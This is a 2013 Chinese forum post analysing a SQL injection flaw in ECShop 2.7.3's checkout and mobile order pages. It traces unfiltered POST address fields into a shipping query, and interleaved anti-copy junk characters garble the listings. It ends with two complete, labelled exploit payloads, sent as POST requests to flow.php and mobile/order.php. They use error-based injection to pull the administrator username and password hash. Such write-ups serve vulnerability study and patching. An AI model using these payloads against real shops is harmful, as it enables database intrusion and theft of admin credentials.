找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2452|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。3 f* b* g( c* J7 b
9 D# \, k: ^, G) X) d- v$ v( q' O4 {
    漏洞关键文件:
8 h1 K. S7 r  L
& K4 |1 N/ E5 h+ c. _5 w. {    /includes/lib_order.php
0 H4 N& M- ~4 `# b0 ]9 o
- d+ ?: Q/ A- D' c. ?+ I    关键函数:  b4 O/ G, m  Z
' N$ J8 P: h6 E3 r: w* {

# O% t' ~+ ^% A5 i
% q3 j( j7 ?, l2 F3 S01     function available_shipping_list($region_id_list)
+ U3 s* H, f3 T/ T' f
( R% q9 J  p' C0 X# w02 { ( f, R% C0 Z8 G( O

+ ~# [4 G2 C$ s1 I! O7 u03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
4 Y( R  j: K! W" m. M4 v! L& i& v, @, d- ^, p. C
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
6 B  J% C. b: g) H' A) O4 G
- Z) y, w5 s+ m' }& K% M05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . " s7 g& Y& s% S

. {" `6 Y" t' {. Y. W06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 8 ], ?  k* b" k8 y
- H! z+ w  N2 e! |$ a+ n
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
+ y+ y& v0 j* y6 x
( J, _  q" @1 Y3 D08             'WHERE r.region_id ' . db_create_in($region_id_list) . 6 R+ N  J8 R( y
) i2 d) d+ u' y: i. G2 x& |4 k
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; . t% J/ n& s3 ^  Q+ L5 @
, w8 h) Z- D5 @1 B0 \8 Y/ ?
10   1 K* C$ q7 O1 {( g$ T

& @7 X# Z$ d) I: D9 _7 T11     return $GLOBALS['db']->getAll($sql);
0 o/ c1 {$ H( c2 v2 s4 v  V2 G
! [- f9 N/ @1 S" m12 }
9 i) T7 D* c5 ^' L" z7 Q, O. k# [* N# T  N, \$ T5 q7 D' W
显然对传入的参数没有任何过滤就带入了查询语句。
1 m  i  |( _5 }
4 l- x+ n- B2 f0 T% C下面我们追踪这个函数在flow.php中:
" q6 I+ J" M2 r 第531行:   ( u) P5 H2 B! ~- |5 n. Q* c

* X2 @: I7 @  z% z! @8 L3 m; U  p1 $shipping_list     = available_shipping_list($region); ( g5 m) x# [- B0 G

6 C) Z& f5 h, H* [* O( f% s
3 w5 g9 U, D+ V) E+ h9 g; z, E/ B. ^* E

1 A$ `* K2 f" _& {1 u9 \9 B2 V
) z8 ?' V$ M9 T: R5 P再对传入变量进行追踪:
* F) a  ^( i- N. ?5 P* y
. Y; J4 K. |3 T8 M7 {第530行:    # G: k; w6 y+ A) c

$ O6 F+ \' o( Q& [3 f/ e1 G1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 7 h# {- Q6 `- S, o& o+ C. M6 E
3 k, L* A% l2 M
' t: I- ~$ @- u/ g9 H% V
- q: z( U( ~! L8 j9 F( w
1 `$ F; S' ]# F' T

& E6 ~9 i- y9 V! Y第473行:        
# b, u7 r) Y$ f, K1 b+ n  @9 o' G$ {- @  R" d7 ^3 f
1 $consignee = get_consignee($_SESSION['user_id']);
9 H2 h$ A9 Y& N* a2 a$ {# k# u: I; q+ y  o; a$ }
到了一个关键函数:
  M2 D$ t. E3 [& |
- R" K* k5 K! t/ [+ H2 ~/includes/lib_order.php
3 e6 l, z7 o) k$ x2 _6 h( L$ C  r
3 v6 u+ P! [9 a2 X" F% E) ^

" B+ W/ O7 P) j' l% E; | ! l5 r' \3 Q  Q% I/ t" y. s0 X( u7 X
" }# a  H' Z! p" p' t9 `
01 function get_consignee($user_id) 0 {$ e; ?  W3 _' ]( K) x
# F% g  h/ i2 D) V( m
02 { $ ?7 B0 D7 [5 R' Y

. b) ?: t$ m$ @  q2 l03     if (isset($_SESSION['flow_consignee']))
, }$ d% H" J0 o1 F6 l% R
: ?$ k8 G, H! ]- r04     {
( L' H- _) R$ S9 g/ T) a7 [6 s- F/ l/ a4 k& H& j
05         /* 如果存在session,则直接返回session中的收货人信息 */
7 `6 a1 G/ l; d, B4 l1 C2 V6 i$ [) N3 g0 h, _
06   5 r" I6 ~% b$ g6 g
4 S! ~! [; ^, c- q
07         return $_SESSION['flow_consignee'];
6 s$ h5 m5 }7 D: w& l- ]
0 k$ P. ?9 N9 L% _0 g- G7 ^08     }
, _  q' q/ ?! j8 f  o/ P3 E1 ^+ ?; f. d
09     else * U4 o/ D# m8 r
- C! K9 H. s3 L/ Q
10     { 1 M' Y7 v# m: t/ o8 e
/ Z5 r" X" b2 N9 h7 r
11         /* 如果不存在,则取得用户的默认收货人信息 */ / V1 y6 ~3 ^; s5 _9 t

- s) q" b* ~  K! T! S- z12         $arr = array();
4 O; k. o/ M+ m7 h- i" h' I, w0 ?8 ?
13   
( K/ Z  P& J: [' U* ^/ p/ Y% N9 G; ]) M
" W- m; O; A! F7 l14         if ($user_id > 0) - Y. ?, c7 D% F, g7 ?' o# b

+ M8 `8 o% `  g: u15         {
# d6 b/ ~% b" x5 s( U1 D# z0 \3 W
; ~8 P+ }' O, e1 _16             /* 取默认地址 */ ( b3 e2 U8 j% R' M

" ]+ \1 j+ Q* V( o+ G17             $sql = "SELECT ua.*".
# U# k" u4 Q6 ], M
8 F( _. d' P) R18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
( f/ `  y: b5 {& t, @7 T8 w- `
! k. V& N" G7 t3 Z$ x19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 2 q1 Q( s' p( }, ~) L* L

  s& u3 F/ i) y7 y  M20   # l3 ^) f6 c) R/ R! u$ I

3 Q# F! z8 A5 \! b5 o$ d- M8 h; ~* s* i21             $arr = $GLOBALS['db']->getRow($sql); 1 q' c4 m1 u+ @2 T8 J
$ g( ~# P3 Y4 P2 H/ Y! s5 G3 y
22         }
8 e4 e6 h7 D0 V! b* }0 G* t5 b9 n. d5 N1 `& i# }% A& u% d) i
23   ' M% x: R- M( y$ l, `& y
) p/ k1 r- g' H/ u0 Y
24         return $arr;
4 z  \4 _9 L1 s7 @
3 D  o% v9 U- V! C% }/ s8 C) u25     }   y! U, r" I% @9 F( f0 q
8 u# T' r6 d3 P- m# h
26 } % U6 i8 Y; T9 Z2 _
4 ^  U) q% x2 G7 ^4 _
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?  X9 W+ T' @# ?& k

1 t7 W: h9 O0 G1 {- h* q4 u, g. \ 9 y6 z7 q! N2 S4 ]: g* w

. [# y) H) }2 Q' u  B; F4 r9 ^1 W关键点:/ D# ^6 j/ M8 T$ v5 y5 d) l

$ {6 i1 t/ ]7 K0 f第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);( }, ?5 T2 g+ ]  M# R' K3 m

3 c# I) \4 r; ~- ~, f, L2 }这里对传入参数反转义存入$_SESSION中。
' ^6 x7 |# a0 s9 m" |& V" C' T& a1 }' ~2 }9 l4 T+ t6 S

+ @% C, W* g1 C. K9 p- O$ v6 ~% x5 C) M$ i
然后看下:
& o" R  h9 x  {; v5 c7 a! f3 h. v: x# F

1 ?5 Y8 m: w. X4 G
* @, @; I2 ~9 N' w3 Q  u* k    4 B7 l# K7 N) ?3 O5 r. K0 J

- L( @) J/ j2 I- g% F- b01 $consignee = array(
% ~$ C" j2 }# H- B( ?+ [7 C- L2 M9 T6 W$ ~
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
9 ?. Q! k  q6 ?4 ]( V% V6 `" T$ o6 n+ K3 M
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), # B, r! R, f$ Q8 p6 ^; D
# s9 X  v# {( W) a$ v- `+ U
04         'country'       => empty($_POST['country'])    ? '' _POST['country'], / |( @1 p: F& J+ M

- H$ U! l( C3 N) L05         'province'      => empty($_POST['province'])   ? '' _POST['province'], + P' [! g% j6 @  O+ k
& w* g) N9 \( U4 A% H
06         'city'          => empty($_POST['city'])       ? '' _POST['city'], 5 V$ y) r+ X7 D% X  e
3 d1 ?8 c+ [* \( B
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], . I' c) N( g' Y8 o
  a% X  l7 o# D% D* P+ D4 _
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
* C5 v: ]9 t: D7 [1 k" y
! f/ T1 t  `6 K9 _1 H, D09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
( F' {1 y* p( a+ `3 n' d. C* P) ~# }+ Y  U( q) g
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), 6 l5 p( B+ p3 }7 b' \8 {; ?9 R5 Y% \. R

& J8 H2 R3 b: a+ d4 S11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), . u$ Z: C$ v1 u* Y# k
0 z! }7 y' O) u0 y% I' l( Q" J
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), 5 X0 T# i$ W! M+ l6 P" O
& u) q- N4 r3 R# @) k
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
8 m: w3 |& Z2 z# s6 j0 o) A7 O$ a/ p( E! Z. L$ z2 w3 L
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
( m3 I! `! W8 A4 [3 G- D
8 F9 P, r- ?' D) o$ R9 e15     ); + `* H5 s- E/ D. Y

8 L4 F! _! Z+ t+ w! B5 ?好了注入就这样出现了。
2 c9 C8 ]5 [  ]8 k) d2 p% ~' q" F3 _6 o. W/ I* J3 t
==================
$ F( t" E- Q8 H# c; V
2 Y, g& o; b# w" p; j注入测试:0 [+ s$ |. s7 c/ {, w" W* b! r. H, C( r; h

9 d7 H8 J5 u" e. L环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
, h$ }2 L6 e9 G1 p% Z( E- o- E# J9 d$ x
测试程序:ECShop_V2.7.3_UTF8_release1106
$ ?) d4 R) T5 c% @  g! |% D& `& {* s3 N& Y7 }

, j( m* ?3 L' z/ L! X, _; x$ T, E/ M/ F6 _/ o+ Q# S4 @
1.首先需要点击一个商品加入购物车$ l0 D# N6 f7 i$ p3 E2 m

- J: G" x3 e, h- R2.注册一个会员帐号2 }0 H5 Y2 {  F- |& _8 n; S" r+ i
! E8 _2 M8 y( M& h7 [
3.post提交数据
% V; s6 ]0 G! J& ?
6 I0 h' g: i- Z" i) `9 j ( P# ?+ Y9 x8 X

& x8 t, U6 C5 {- I9 p+ e; V1 http://127.0.0.1/ecshop/flow.php : ^0 R2 P; r! t' `/ j; u5 |; \

7 o8 X  R/ @- {% e0 x1 d- ^2   1 ^  _( L; L" d" t

+ c7 \8 d6 f  W8 O) J2 Y4 [3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
/ d% s2 ^( T9 \! o6 p1 C举一反三,我们根据这个漏洞我们可以继续深入挖掘:, R$ G2 ^  u0 X3 X  p+ l* t

( }9 G4 C% f' ]+ P8 r, I( C我们搜寻关键函数function available_shipping_list()
8 @( M) N- j4 P( w) n5 V% v4 z8 v/ a
# f9 E8 d- J, ~在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同# c1 G2 {# i0 i/ z4 x$ v/ W1 x9 P

" h8 u: T5 \2 n5 z利用exp:
6 B( o( o# n5 Q3 L) ^& p, p
" n9 c" b/ T6 c1 s; Y; p1.点击一个商品,点击购买商标
# v; z; \5 m, Z
, _: }3 h8 w6 h! n- O2.登录会员帐号- A! Q. w# F9 }/ _, I

1 n& g3 r5 f% i6 b' O3.post提交:
' F6 I& g* Q1 k& D4 T# M. C& Y* f% i( a6 M$ \  a0 p
http://127.0.0.1/ecshop/mobile/order.php7 x/ ]1 a4 e% M& m
1 |+ r) \: P/ L# }
' r5 y$ ~; l  s8 H! d* R

- k% e8 S2 m# U) lcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
9 Y( z! B: s, a, k: p8 E
6 M5 l; z+ u5 V/ I, r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表